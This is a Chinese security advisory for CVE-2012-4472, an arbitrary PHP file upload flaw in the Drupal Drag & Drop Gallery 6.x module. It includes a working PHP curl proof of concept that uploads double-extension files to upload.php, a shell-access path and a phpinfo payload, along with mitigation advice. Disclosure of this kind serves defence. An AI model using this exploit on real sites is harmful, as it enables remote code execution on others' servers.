Drupal Drag & Drop Gallery模块upload.php任意文件上传漏洞


发布日期:2012-11-30
更新日期:2012-12-18

受影响系统:
Drupal Drag & Drop Gallery 6.x
描述:
--------------------------------------------------------------------------------
CVE(CAN) ID: CVE-2012-4472

Drupal Drag & Drop Gallery模块创建了一个图库节点类型,允许通过拖放本地文件系统内的图形,添加图形到图库内。

Drag & Drop Gallery 6.x-1.5及更早版本的sites/all/modules/dragdrop_gallery/upload.php内存在文件上传漏洞。攻击者通过上传带有可执行扩展名的文件,然后通过filedir参数来指定目录以访问此文件,进而执行任意PHP代码。

<*来源:Drupal Security Team
 
  链接:http://secunia.com/advisories/49698
        http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2012-4472
        http://www.opensyscom.fr/Actualites/drupal-modules-drag-a-drop-gallery-arbitrary-file-upload-vulnerability.html
        http://drupal.org/node/1679442
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<?php

$uploadfile="db.php.gif";
$uploadfile2="lo.php.gif";

$ch = curl_init("http://localhost/drupal/sites/all/modules/dragdrop_gallery/upload.php?nid=1&filedir=/drupal/sites/all/modules/dragdrop_gallery/");
curl_setopt($ch, CURLOPT_POST, true); 
curl_setopt($ch, CURLOPT_POSTFIELDS, array('user_file[0]'=>"@$uploadfile",
                                            'user_file[1]'=>"@$uploadfile2"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
 
print "$postResult";

?>

Shell Access : http://localhost/drupal/sites/all/modules/dragdrop_gallery/ lo.php.gif db.php.gif
Filename : $postResult output

lo.php
<?php
phpinfo();
?>

建议:
--------------------------------------------------------------------------------
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

*禁用或删除Drag & Drop Gallery模块

厂商补丁:

Drupal
------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://drupal.org/project/dragdrop_gallery

相关内容